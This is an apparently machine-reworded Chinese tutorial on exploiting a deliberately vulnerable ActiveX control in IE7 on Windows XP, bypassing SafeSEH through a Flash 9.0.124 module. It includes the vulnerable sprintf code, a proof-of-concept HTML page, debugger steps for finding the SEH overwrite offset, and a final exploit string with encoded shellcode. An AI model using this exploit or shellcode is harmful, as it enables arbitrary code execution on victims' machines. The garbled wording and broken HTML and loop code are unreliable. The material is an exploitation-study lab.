[阐发情况] 体系: Windows XP Professional sp3
编译器: Visual Studio 2008
调试器: OllyDbg 1.10
浏览器: Internet Explorer 7
控件版本: Adobe Flash ActiveX 9.0.124 , 这里要留意没有9.2.124这个版本, 9.0.124是末了没有启用SafeS.E.H的。
阐明: 这篇文参考自《0Day》, 由于”应用Adobe Flash Player ActiveX控件绕过SafeS.E.H” 这节有一些小坑, 不留意能够会试验失败, 以是写了这篇文来一步一步超出这些坑。
相干下载:
OllyFindAddr 链接: https://pan.baidu.com/s/1o8E8l8A 暗码: kc2bAdobe Flash ActiveX 9.0.124 链接: https://pan.baidu.com/s/1i5h802T 暗码: 4sf3Internet Explore 7 链接: https://pan.baidu.com/s/1b9qMy6 暗码: 8g88
0×01 后期筹备
新建一个MFC ActiveX控件, 增加一个test办法
在test办法完成里增加代码
#include #include DWORD MyException(){ printf("There is an exception"); getchar(); return 1;}void CVulnerAX_SEHCtrl::test(LPCTSTR str){ //AFX_MANAGE_STATE(AfxGetStaticModuleState()); // TODO: 在此增加调剂处置法式代码 printf("aaaa"); // 定位函数的标志 char dest[100]; sprintf(dest,"%s",str); int zero=0; try { zero=1/zero; } except(MyException()) { }}
如图设置好名目属性, 抉择release版本, 禁用优化, 编译链接, 末了在cmd键入”Regsvr32 /path/to/activex.ocx”注册控件
html> body> object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="160" height="260"> param name="movie" value="1.swf" /> param name="quality" value="high" /> embed src="1.swf" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="160" height="260">embed>object>object classid="clsid:A15FD9CA-B0AA-4F51-9D26-B045CEEB9BA5" id="test">object> script> var s = "\u9090";while (s.length 45) {s += "\u9090";}test.test(s); script> body> html>
新建一个txt文本, 帖入以上代码, 更名为poc.html
留意这里的”clsid:A15FD9CA-B0AA-4F51-9D26-B045CEEB9BA5″, 在ActiveX工程里找到
0×02 阐发栈结构
双击poc.html主动挪用IE浏览器关上, 抉择容许ActiveX控件
离开这里, 用OllyDbg附加下来
断下后选”E”找到VulnerAX_SEH.ocx, 点出来, 在printf(“aaaa”)下断运转
断下后离开call sprintf, 追随栈地点, 再往下一步
能够看到数据曾经copy到栈上, 肇端地点0x01dcf4e4
View->SEH chain, 定位到最近的SE Handler 0x01dcf560, 0x01dcf560-0x01dcf4e4=124 byte
Plugins->OllyFindAddr->Overflow return address->Find CALL/JMP [EBP+N], 抉择”L”, 找到0x300b2d1c这个跳板
改动poc.html
var s = "\u9090";while (s.length 60) {s += "\u9090";}s+="\u9090\u9090";s+="\u2D1C\u300B";
再次关上, OD附加下来, 离开call sprintf再走一步, 如今SE Handler曾经笼罩成跳板地点
先在0x300b2d1c下断, 离开这里Shift+F9运转
断下后跟进call, 能够看到这时候回到了S.E.H结构
0×03 exploit
SE Handler的跳板地点会滋扰shellcode, 将shellcode全体放到上面, 用一个短跳跳曩昔
// junk(120 byte)+jmp short(2 byte)+junk(2 byte)+board(4 byte)+junk(8 byte)+payload(114 byte)var s = "\u9090";while (s.length 60) {s += "\u9090";}s+="\u0EEB\u9090"; # 0xEB0E->jmp +14(绝对于下一条指令地点+14 byte)s+="\u2D1C\u300B"; # 跳板s+="\u9090\u9090\u9090\u9090"; # junks+="\ud231\u30b2\u8b64\u8b12\u0c52\u528b\u8b1c\u0842\u728b\u8b20\u8012\u0c7e\u7533\u89f2\u03c7\u3c78\u578b\u0178\u8bc2\u207a\uc701\ued31\u348b\u01af\u45c6\u3e81\u6146\u6174\uf275\u7e81\u4508\u6978\u7574\u8be9\u247a\uc701\u8b66\u6f2c\u7a8b\u011c\u8bc7\uaf7c\u01fc\u68c7\u2067\u0120\u7968\u7530\u686e\u7720\u6f6f\ue189\u49fe\u310b\u51c0\uff50\u90d7";test.test(s);
如上构造250 byte的shellcode, OD再次附加下来, 离开call sprintf往下一步
F9间接运转, pwn~
|